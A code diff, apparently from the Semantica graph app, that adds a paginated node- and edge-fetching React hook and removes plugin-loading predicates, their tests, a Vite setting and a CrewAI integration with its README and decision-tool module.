* whether a plugin's module is lazily imported; none reference temporalState
|
||||
* so temporal scrubber updates never retrigger plugin loading (issue #830).
|
||||
*/
|
||||
|
||||
export type PluginShouldLoadContext = {
|
||||
panelState: Record<string, boolean>;
|
||||
};
|
||||
|
||||
export function explorationEffectsShouldLoad({ panelState }: PluginShouldLoadContext): boolean {
|
||||
return Boolean(panelState["effects-panel"]);
|
||||
}
|
||||
|
||||
export function neighborhoodPanelShouldLoad({ panelState }: PluginShouldLoadContext): boolean {
|
||||
return Boolean(panelState["neighborhood-panel"]);
|
||||
}
|
||||
|
||||
export function temporalOverlayShouldLoad({ panelState }: PluginShouldLoadContext): boolean {
|
||||
return Boolean(panelState["temporal-panel"]);
|
||||
}
|
||||
@@ -1,31 +0,0 @@
|
||||
import type { GraphLoadSummary } from "./types";
|
||||
|
||||
/**
|
||||
* Predicates for gating GraphWorkspace temporal API requests.
|
||||
*
|
||||
* Temporal bounds and snapshot requests must strictly not execute until the
|
||||
* initial graph load has succeeded (summary !== undefined). An empty graph
|
||||
* (nodeCount: 0) is still a successful load and must not be rejected.
|
||||
*/
|
||||
|
||||
export function shouldFetchTemporalBounds(
|
||||
summary: GraphLoadSummary | undefined,
|
||||
): boolean {
|
||||
return summary !== undefined;
|
||||
}
|
||||
|
||||
export function shouldFetchTemporalSnapshot({
|
||||
debouncedTime,
|
||||
isLoading,
|
||||
summary,
|
||||
}: {
|
||||
debouncedTime: Date | null;
|
||||
isLoading: boolean;
|
||||
summary: GraphLoadSummary | undefined;
|
||||
}): boolean {
|
||||
return (
|
||||
summary !== undefined &&
|
||||
debouncedTime !== null &&
|
||||
!isLoading
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
import { useQuery, useQueryClient } from "@tanstack/react-query";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import type { ApiEdge, ApiNode, GraphDataSnapshot, GraphLoadProgress, GraphLayoutSource } from "./types";
|
||||
|
||||
interface NodeListResponse {
|
||||
nodes: ApiNode[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
interface EdgeListResponse {
|
||||
edges: ApiEdge[];
|
||||
total: number;
|
||||
skip: number;
|
||||
limit: number;
|
||||
next_cursor?: string | null;
|
||||
}
|
||||
|
||||
const PAGE_LIMIT = 1000;
|
||||
|
||||
async function fetchAllNodes(
|
||||
signal: AbortSignal,
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiNode[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiNode[] = [];
|
||||
let total: number | null = null;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/nodes", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: NodeListResponse = await response.json();
|
||||
if (!data.nodes?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
collected.push(...data.nodes);
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_nodes",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: collected.length,
|
||||
total,
|
||||
nodesLoaded: collected.length,
|
||||
nodesTotal: total,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: total
|
||||
? `Loading nodes ${collected.length.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading nodes ${collected.length.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
async function fetchAllEdges(
|
||||
signal: AbortSignal,
|
||||
nodeIds: Set<string>,
|
||||
nodeProgress: { loaded: number; total: number | null },
|
||||
onProgress?: (progress: GraphLoadProgress) => void,
|
||||
): Promise<ApiEdge[]> {
|
||||
let cursor: string | null = null;
|
||||
const collected: ApiEdge[] = [];
|
||||
const seenEdgeIds = new Set<string>();
|
||||
let total: number | null = null;
|
||||
let warnedOverTotal = false;
|
||||
|
||||
while (true) {
|
||||
const url = new URL("/api/graph/edges", window.location.origin);
|
||||
url.searchParams.set("limit", String(PAGE_LIMIT));
|
||||
if (cursor) {
|
||||
url.searchParams.set("cursor", cursor);
|
||||
}
|
||||
|
||||
const response = await fetch(url.toString(), { signal });
|
||||
if (!response.ok) {
|
||||
throw new Error(`Fetch failed: ${response.status}`);
|
||||
}
|
||||
|
||||
const data: EdgeListResponse = await response.json();
|
||||
if (!data.edges?.length) {
|
||||
break;
|
||||
}
|
||||
|
||||
total = data.total ?? total;
|
||||
const validEdges = data.edges.filter((edge) => {
|
||||
if (!nodeIds.has(edge.source) || !nodeIds.has(edge.target)) {
|
||||
return false;
|
||||
}
|
||||
if (seenEdgeIds.has(edge.id)) {
|
||||
return false;
|
||||
}
|
||||
seenEdgeIds.add(edge.id);
|
||||
return true;
|
||||
});
|
||||
collected.push(...validEdges);
|
||||
const safeLoaded = total ? Math.min(seenEdgeIds.size, total) : seenEdgeIds.size;
|
||||
if (!warnedOverTotal && total !== null && seenEdgeIds.size > total) {
|
||||
warnedOverTotal = true;
|
||||
console.warn("[graph-runtime] edge pagination returned more unique edge ids than total", {
|
||||
uniqueEdgesLoaded: seenEdgeIds.size,
|
||||
total,
|
||||
});
|
||||
}
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_edges",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: safeLoaded,
|
||||
total,
|
||||
nodesLoaded: nodeProgress.loaded,
|
||||
nodesTotal: nodeProgress.total,
|
||||
edgesLoaded: safeLoaded,
|
||||
edgesTotal: total,
|
||||
message: total
|
||||
? `Loading edges ${safeLoaded.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading edges ${safeLoaded.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: number | null | undefined): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface UseGraphDataOptions {
|
||||
enabled?: boolean;
|
||||
onProgress?: (progress: GraphLoadProgress) => void;
|
||||
}
|
||||
|
||||
export function useGraphData(options: UseGraphDataOptions = {}) {
|
||||
const { enabled = true, onProgress } = options;
|
||||
|
||||
return useQuery<GraphDataSnapshot>({
|
||||
queryKey: ["graph", "runtime-snapshot"],
|
||||
enabled,
|
||||
staleTime: Infinity,
|
||||
queryFn: async ({ signal }): Promise<GraphDataSnapshot> => {
|
||||
const startedAt = performance.now();
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "bootstrapping",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: 0,
|
||||
nodesTotal: null,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: "Preparing graph session",
|
||||
}));
|
||||
|
||||
const nodes = await fetchAllNodes(signal, onProgress);
|
||||
const nodeIds = new Set(nodes.map((node) => node.id));
|
||||
const edges = await fetchAllEdges(
|
||||
signal,
|
||||
nodeIds,
|
||||
{ loaded: nodes.length, total: nodes.length },
|
||||
onProgress,
|
||||
);
|
||||
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: nodes.length,
|
||||
nodesTotal: nodes.length,
|
||||
edgesLoaded: edges.length,
|
||||
edgesTotal: edges.length,
|
||||
message: "Preparing graph runtime snapshot",
|
||||
}));
|
||||
|
||||
return {
|
||||
nodes,
|
||||
edges,
|
||||
summary: {
|
||||
nodeCount: nodes.length,
|
||||
edgeCount: edges.length,
|
||||
loadTimeMs: Math.round(performance.now() - startedAt),
|
||||
hasCoordinates: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
layoutSource: (nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y))
|
||||
? "provided"
|
||||
: "runtime") as GraphLayoutSource,
|
||||
layoutReady: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
},
|
||||
fetchedAt: Date.now(),
|
||||
};
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export function useReloadGraphData() {
|
||||
const queryClient = useQueryClient();
|
||||
return () => queryClient.invalidateQueries({ queryKey: ["graph", "runtime-snapshot"] });
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
/**
|
||||
* Regression tests for issue #830: plugin registry shouldLoad predicates.
|
||||
*
|
||||
* Imports the production predicates from pluginRegistryPredicates.ts so that
|
||||
* a regression in GraphWorkspace.tsx is detected here. The key invariant: no
|
||||
* predicate may read temporalState — doing so caused a render loop because
|
||||
* temporalState.currentTime is non-null from startup, which triggered eager
|
||||
* plugin loads on every scrubber update and continuously cancelled in-flight
|
||||
* load() calls before they could register the plugin.
|
||||
*/
|
||||
import test from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { createRequire } from "node:module";
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
|
||||
const {
|
||||
explorationEffectsShouldLoad,
|
||||
neighborhoodPanelShouldLoad,
|
||||
temporalOverlayShouldLoad,
|
||||
} = require("../src/workspaces/GraphWorkspace/pluginRegistryPredicates.ts");
|
||||
|
||||
// ── temporal-overlay ─────────────────────────────────────────────────────────
|
||||
|
||||
test("temporal-overlay shouldLoad: false when panel is closed and no scrubber time", () => {
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({ panelState: { "temporal-panel": false } }),
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal-overlay shouldLoad: false when panel is closed even if scrubber time is set", () => {
|
||||
// Before the fix, a non-null currentTime caused an eager load on every scrubber update.
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({
|
||||
panelState: { "temporal-panel": false },
|
||||
temporalState: { currentTime: new Date() },
|
||||
}),
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal-overlay shouldLoad: true only when the panel is explicitly opened", () => {
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({ panelState: { "temporal-panel": true } }),
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal-overlay shouldLoad: true when panel opened even without a scrubber time", () => {
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({
|
||||
panelState: { "temporal-panel": true },
|
||||
temporalState: { currentTime: null },
|
||||
}),
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
// ── other entries — confirm they also gate only on panelState ─────────────────
|
||||
|
||||
test("exploration-effects shouldLoad: gates only on effects-panel state", () => {
|
||||
assert.equal(explorationEffectsShouldLoad({ panelState: { "effects-panel": false } }), false);
|
||||
assert.equal(explorationEffectsShouldLoad({ panelState: { "effects-panel": true } }), true);
|
||||
});
|
||||
|
||||
test("neighborhood-panel shouldLoad: gates only on neighborhood-panel state", () => {
|
||||
assert.equal(neighborhoodPanelShouldLoad({ panelState: { "neighborhood-panel": false } }), false);
|
||||
assert.equal(neighborhoodPanelShouldLoad({ panelState: { "neighborhood-panel": true } }), true);
|
||||
});
|
||||
|
||||
test("all three shouldLoad conditions are consistent: none reference temporalState", () => {
|
||||
// A regressed predicate reading temporalState?.currentTime would return true
|
||||
// for a closed panel when currentTime is set — detecting the loop bug.
|
||||
const nonNullTemporalState = { currentTime: new Date(), activeNodeCount: 6 };
|
||||
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({ panelState: { "temporal-panel": false }, temporalState: nonNullTemporalState }),
|
||||
false,
|
||||
"temporal-overlay must not load when panel is closed, regardless of scrubber time",
|
||||
);
|
||||
assert.equal(
|
||||
explorationEffectsShouldLoad({ panelState: { "effects-panel": false }, temporalState: nonNullTemporalState }),
|
||||
false,
|
||||
);
|
||||
assert.equal(
|
||||
neighborhoodPanelShouldLoad({ panelState: { "neighborhood-panel": false }, temporalState: nonNullTemporalState }),
|
||||
false,
|
||||
);
|
||||
});
|
||||
@@ -1,114 +0,0 @@
|
||||
import test from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
|
||||
import {
|
||||
shouldFetchTemporalBounds,
|
||||
shouldFetchTemporalSnapshot,
|
||||
} from "../src/workspaces/GraphWorkspace/temporalLifecyclePredicates.ts";
|
||||
import type { GraphLoadSummary } from "../src/workspaces/GraphWorkspace/types.ts";
|
||||
|
||||
const sampleSummary: GraphLoadSummary = {
|
||||
nodeCount: 42,
|
||||
edgeCount: 78,
|
||||
loadTimeMs: 120,
|
||||
hasCoordinates: true,
|
||||
layoutSource: "provided",
|
||||
layoutReady: true,
|
||||
};
|
||||
|
||||
const emptyGraphSummary: GraphLoadSummary = {
|
||||
nodeCount: 0,
|
||||
edgeCount: 0,
|
||||
loadTimeMs: 15,
|
||||
hasCoordinates: false,
|
||||
layoutSource: "runtime",
|
||||
layoutReady: false,
|
||||
};
|
||||
|
||||
// ── shouldFetchTemporalBounds ────────────────────────────────────────────────
|
||||
|
||||
test("temporal bounds: false when summary is undefined (initial mount or failed load)", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalBounds(undefined),
|
||||
false,
|
||||
"bounds request must not run before graph load succeeds",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal bounds: true when non-empty summary is present", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalBounds(sampleSummary),
|
||||
true,
|
||||
"bounds request should run when successful graph summary exists",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal bounds: true when successful summary has nodeCount of 0", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalBounds(emptyGraphSummary),
|
||||
true,
|
||||
"an empty graph is still a successful load and must allow bounds fetching",
|
||||
);
|
||||
});
|
||||
|
||||
// ── shouldFetchTemporalSnapshot ──────────────────────────────────────────────
|
||||
|
||||
test("temporal snapshot: false when summary is undefined even if scrubber time is set and isLoading is false", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: false,
|
||||
summary: undefined,
|
||||
}),
|
||||
false,
|
||||
"snapshot request must not run when graph load failed",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: false when graph is currently loading", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: true,
|
||||
summary: sampleSummary,
|
||||
}),
|
||||
false,
|
||||
"snapshot request must not run while graph is loading",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: false when debouncedTime is null", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: null,
|
||||
isLoading: false,
|
||||
summary: sampleSummary,
|
||||
}),
|
||||
false,
|
||||
"snapshot request must not run without a scrubber timestamp",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: true when summary exists, isLoading is false, and time is set", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: false,
|
||||
summary: sampleSummary,
|
||||
}),
|
||||
true,
|
||||
"snapshot request should run after graph load succeeds and time is set",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: true when successful summary has 0 nodes, isLoading is false, and time is set", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: false,
|
||||
summary: emptyGraphSummary,
|
||||
}),
|
||||
true,
|
||||
"empty successful graph must allow snapshot requests once ready",
|
||||
);
|
||||
});
|
||||
@@ -57,13 +57,6 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
},
|
||||
optimizeDeps: {
|
||||
// Keep dependency pre-bundling aligned with the production build target.
|
||||
// esbuild >=0.28 no longer lowers destructuring for Vite's default target.
|
||||
esbuildOptions: {
|
||||
target: 'esnext',
|
||||
},
|
||||
},
|
||||
server: {
|
||||
proxy: {
|
||||
'/api': {
|
||||
|
||||
@@ -1,108 +0,0 @@
|
||||
# Semantica × CrewAI
|
||||
|
||||
First-class integration between Semantica and [CrewAI](https://github.com/crewAIInc/crewAI) — give your crews a shared semantic knowledge graph, decision intelligence, and graph-based retrieval.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install semantica[crewai]
|
||||
```
|
||||
|
||||
Requires `crewai >= 0.80.0`. If `crewai` is not installed, the integration still imports (classes degrade gracefully), but you can't pass the objects to a `Crew`.
|
||||
|
||||
> **⚠️ Security note:** crewai hard-requires `chromadb~=1.1.0`, which is currently affected by the unpatched pre-authentication code-injection advisory **CVE-2026-45829** (no fixed release — even the latest chromadb 1.5.9 is affected). Installing `semantica[crewai]` pulls that dependency into your environment. The `crewai` extra is intentionally **not** part of `semantica[all]` for this reason — only install it where you actually use CrewAI, and follow chromadb for a patched release.
|
||||
|
||||
## 1. SemanticaKGTool
|
||||
|
||||
A `BaseTool` that lets agents **build and query** a shared `ContextGraph` mid-reasoning:
|
||||
|
||||
- `extract_entities` — extract named entities from `text`
|
||||
- `extract_relations` — extract relationships from `text`
|
||||
- `add_to_graph` — extract entities/relations from `text` and add them to the shared graph
|
||||
- `query_graph` — keyword-search the graph using `query`
|
||||
- `find_related` — find concepts related to `entity` within `hops`
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKGTool
|
||||
|
||||
graph = ContextGraph()
|
||||
|
||||
analyst = Agent(
|
||||
role="Knowledge Analyst",
|
||||
goal="Build and explore a knowledge graph from documents",
|
||||
backstory="You map entities and relationships into a shared graph.",
|
||||
tools=[SemanticaKGTool(graph=graph)],
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[analyst],
|
||||
tasks=[Task(description="Extract and link key entities from the brief", expected_output="JSON", agent=analyst)],
|
||||
)
|
||||
result = crew.kickoff()
|
||||
```
|
||||
|
||||
All actions return JSON, so agents get parseable results.
|
||||
|
||||
## 2. SemanticaDecisionTool
|
||||
|
||||
A `BaseTool` that wraps `AgentContext` and exposes decision intelligence:
|
||||
|
||||
- `record_decision` — record a decision with reasoning and outcome
|
||||
- `find_precedents` — retrieve past decisions similar to a scenario
|
||||
- `trace_causal_chain` — trace the causal chain from a decision
|
||||
- `analyze_impact` — assess downstream influence using graph centrality
|
||||
- `check_policy` — validate a proposed decision against rule-based policies
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from integrations.crewai import SemanticaDecisionTool
|
||||
|
||||
planner = Agent(
|
||||
role="Decision Planner",
|
||||
goal="Make grounded, precedented decisions",
|
||||
backstory="You record decisions and validate them against policy.",
|
||||
tools=[SemanticaDecisionTool()],
|
||||
)
|
||||
|
||||
crew = Crew(agents=[planner], tasks=[...])
|
||||
```
|
||||
|
||||
When no `AgentContext` is passed, one is created in-memory with `decision_tracking=True`.
|
||||
|
||||
## 3. SemanticaKnowledgeSource
|
||||
|
||||
A `BaseKnowledgeSource` that serializes the current state of a `ContextGraph` (nodes, edges, metadata) into CrewAI's knowledge storage, giving **every agent in the crew** retrieval access to the graph:
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKnowledgeSource
|
||||
|
||||
graph = ContextGraph()
|
||||
graph.add_node(node_id="privacy", node_type="policy", content="...")
|
||||
|
||||
researcher = Agent(
|
||||
role="Policy Researcher",
|
||||
goal="Answer questions from the knowledge base",
|
||||
backstory="You retrieve from graph knowledge to answer accurately.",
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[researcher],
|
||||
tasks=[...],
|
||||
knowledge_sources=[SemanticaKnowledgeSource(graph=graph)],
|
||||
)
|
||||
```
|
||||
|
||||
> **Embedder required:** storing chunks goes through CrewAI's knowledge pipeline, which needs an embedder. Set `Crew(embedder=...)` (or provide CrewAI's default credentials, e.g. `OPENAI_API_KEY`). Without a working embedder, storage fails, an ERROR is logged, and agents retrieve nothing — the crew still runs with empty knowledge queries.
|
||||
|
||||
### Compatibility note
|
||||
|
||||
CrewAI's `BaseKnowledgeSource` contract changed between `0.80.x` and current releases (`load_content()` → `validate_content()`/`aadd()`). `SemanticaKnowledgeSource` implements both the legacy and current methods, so it works across `crewai>=0.80.0`.
|
||||
|
||||
### Sharing state & checkpoints
|
||||
|
||||
- Each tool/source holds whatever `graph`/`context` you pass it. When omitted, a fresh in-memory object is created and a warning is logged — instances that auto-create their own state do **not** share knowledge, so pass the same object to every agent that must share.
|
||||
- Live state (`ContextGraph`, `AgentContext`, extractors) is excluded from CrewAI's JSON serialization. After restoring from a checkpoint, re-attach the live graph/context to the restored objects.
|
||||
@@ -1,44 +0,0 @@
|
||||
"""
|
||||
Semantica × CrewAI Integration
|
||||
==============================
|
||||
|
||||
First-class integration between the Semantica semantic intelligence stack and
|
||||
the `CrewAI <https://github.com/crewAIInc/crewAI>`_ agentic framework.
|
||||
|
||||
Public surface
|
||||
--------------
|
||||
SemanticaKGTool — CrewAI ``BaseTool`` exposing KG construction/query actions
|
||||
SemanticaDecisionTool — CrewAI ``BaseTool`` exposing decision-intelligence actions
|
||||
SemanticaKnowledgeSource— CrewAI ``BaseKnowledgeSource`` giving crews graph knowledge
|
||||
|
||||
Quick start
|
||||
-----------
|
||||
pip install semantica[crewai]
|
||||
|
||||
>>> from integrations.crewai import (
|
||||
... SemanticaKGTool,
|
||||
... SemanticaDecisionTool,
|
||||
... SemanticaKnowledgeSource,
|
||||
... )
|
||||
|
||||
Compatibility
|
||||
-------------
|
||||
Requires ``crewai >= 0.80.0``. All three classes degrade gracefully when
|
||||
``crewai`` is not installed — they are still importable and carry the full
|
||||
Semantica API, but cannot be passed to ``Crew`` / ``Agent`` constructors.
|
||||
"""
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE, CREWAI_IMPORT_ERROR
|
||||
from .decision_tool import SemanticaDecisionTool
|
||||
from .kg_tool import SemanticaKGTool
|
||||
from .knowledge_source import SemanticaKnowledgeSource
|
||||
|
||||
__all__ = [
|
||||
"SemanticaKGTool",
|
||||
"SemanticaDecisionTool",
|
||||
"SemanticaKnowledgeSource",
|
||||
"CREWAI_AVAILABLE",
|
||||
"CREWAI_IMPORT_ERROR",
|
||||
]
|
||||
|
||||
__version__ = "0.1.0"
|
||||
@@ -1,24 +0,0 @@
|
||||
"""
|
||||
Shared CrewAI availability probe.
|
||||
|
||||
Every integration module needs to know whether the real ``crewai`` package is
|
||||
installed. Probing once here (instead of once per module) guarantees the
|
||||
exported ``CREWAI_AVAILABLE`` flag means the *whole* integration is ready — a
|
||||
caller gating on it will never see tools using CrewAI while a knowledge source
|
||||
silently degrades (or vice versa).
|
||||
"""
|
||||
|
||||
from typing import Optional
|
||||
|
||||
CREWAI_AVAILABLE = False
|
||||
CREWAI_IMPORT_ERROR: Optional[str] = None
|
||||
|
||||
try:
|
||||
from crewai.knowledge.source.base_knowledge_source import ( # noqa: F401
|
||||
BaseKnowledgeSource,
|
||||
)
|
||||
from crewai.tools import BaseTool # noqa: F401
|
||||
|
||||
CREWAI_AVAILABLE = True
|
||||
except ImportError as exc:
|
||||
CREWAI_IMPORT_ERROR = str(exc)
|
||||
@@ -1,555 +0,0 @@
|
||||
"""
|
||||
SemanticaDecisionTool — a CrewAI ``BaseTool`` exposing Semantica's decision
|
||||
intelligence (``AgentContext``) to agents.
|
||||
|
||||
Lets agents record decisions with reasoning, retrieve past precedents, trace
|
||||
causal chains, analyse downstream impact, and validate proposed decisions
|
||||
against policy rules.
|
||||
|
||||
Install
|
||||
-------
|
||||
pip install semantica[crewai]
|
||||
|
||||
Example
|
||||
-------
|
||||
>>> from integrations.crewai import SemanticaDecisionTool
|
||||
>>> from crewai import Agent, Crew, Task
|
||||
>>> tool = SemanticaDecisionTool()
|
||||
>>> crew = Crew(
|
||||
... agents=[Agent(role="...", goal="...", backstory="...", tools=[tool])],
|
||||
... tasks=[...],
|
||||
... )
|
||||
|
||||
Tools exposed
|
||||
-------------
|
||||
record_decision — Record a decision with reasoning and outcome
|
||||
find_precedents — Search past decisions similar to a scenario
|
||||
trace_causal_chain— Trace the causal chain from a decision node
|
||||
analyze_impact — Assess downstream influence of a decision
|
||||
check_policy — Validate a proposed decision against policy rules
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
from typing import Any, Dict, List, Literal, Optional, Type
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from semantica.utils.logging import get_logger
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional: CrewAI BaseTool base class
|
||||
# ---------------------------------------------------------------------------
|
||||
_BaseTool: Any = object
|
||||
|
||||
if CREWAI_AVAILABLE:
|
||||
from crewai.tools import BaseTool as _BaseTool # type: ignore
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Input schema
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaDecisionToolInput(BaseModel):
|
||||
"""
|
||||
Input schema for ``SemanticaDecisionTool``.
|
||||
|
||||
Exactly one action is dispatched per call; the remaining fields are only
|
||||
used by the actions that need them.
|
||||
"""
|
||||
|
||||
action: Literal[
|
||||
"record_decision",
|
||||
"find_precedents",
|
||||
"trace_causal_chain",
|
||||
"analyze_impact",
|
||||
"check_policy",
|
||||
] = Field(
|
||||
...,
|
||||
description=(
|
||||
"Which decision-intelligence operation to run. One of: "
|
||||
"'record_decision', 'find_precedents', 'trace_causal_chain', "
|
||||
"'analyze_impact', 'check_policy'."
|
||||
),
|
||||
)
|
||||
category: Optional[str] = Field(
|
||||
None,
|
||||
description="Domain category, e.g. 'loan_approval'. Used by 'record_decision'.",
|
||||
)
|
||||
scenario: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"Short description of the situation. Used by 'record_decision' and "
|
||||
"'find_precedents'."
|
||||
),
|
||||
)
|
||||
reasoning: Optional[str] = Field(
|
||||
None, description="Why this outcome was chosen. Used by 'record_decision'."
|
||||
)
|
||||
outcome: Optional[str] = Field(
|
||||
None, description="The decision result. Used by 'record_decision'."
|
||||
)
|
||||
confidence: float = Field(
|
||||
0.8,
|
||||
ge=0.0,
|
||||
le=1.0,
|
||||
description="Confidence score in [0, 1]. Used by 'record_decision'.",
|
||||
)
|
||||
entities: Optional[str] = Field(
|
||||
None,
|
||||
description="Comma-separated entity names. Used by 'record_decision'.",
|
||||
)
|
||||
decision_id: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"Identifier of a decision. Used by 'trace_causal_chain' and "
|
||||
"'analyze_impact'."
|
||||
),
|
||||
)
|
||||
depth: int = Field(
|
||||
3,
|
||||
ge=1,
|
||||
le=20,
|
||||
description="Maximum chain depth. Used by 'trace_causal_chain'.",
|
||||
)
|
||||
decision_data: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"JSON object describing a proposed decision. Used by 'check_policy'."
|
||||
),
|
||||
)
|
||||
policy_rules: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"JSON list of rule strings like 'confidence >= 0.7'. Used by "
|
||||
"'check_policy'."
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SemanticaDecisionTool
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaDecisionTool(_BaseTool): # type: ignore[misc]
|
||||
"""
|
||||
CrewAI tool that surfaces Semantica's decision intelligence as agent actions.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
context:
|
||||
A ``semantica.context.AgentContext`` (or compatible object exposing
|
||||
``record_decision``, ``find_precedents_advanced``,
|
||||
``analyze_decision_influence``). A fresh in-memory context is created
|
||||
when ``None``.
|
||||
max_precedents:
|
||||
Default number of precedents returned by ``find_precedents``.
|
||||
causal_depth:
|
||||
Default chain depth used by ``trace_causal_chain``.
|
||||
"""
|
||||
|
||||
name: str = "semantica_decision"
|
||||
description: str = (
|
||||
"Decision intelligence toolkit. Actions: 'record_decision' (record a "
|
||||
"decision with category, scenario, reasoning, outcome, confidence), "
|
||||
"'find_precedents' (search past decisions similar to 'scenario'), "
|
||||
"'trace_causal_chain' (trace the causal chain from 'decision_id'), "
|
||||
"'analyze_impact' (assess downstream influence of 'decision_id'), "
|
||||
"'check_policy' (validate 'decision_data' JSON against 'policy_rules' "
|
||||
"rules like 'confidence >= 0.7'). Returns JSON."
|
||||
)
|
||||
args_schema: Type[BaseModel] = SemanticaDecisionToolInput
|
||||
context: Any = Field(default=None, exclude=True)
|
||||
max_precedents: int = 5
|
||||
causal_depth: int = 3
|
||||
had_live_state: bool = False
|
||||
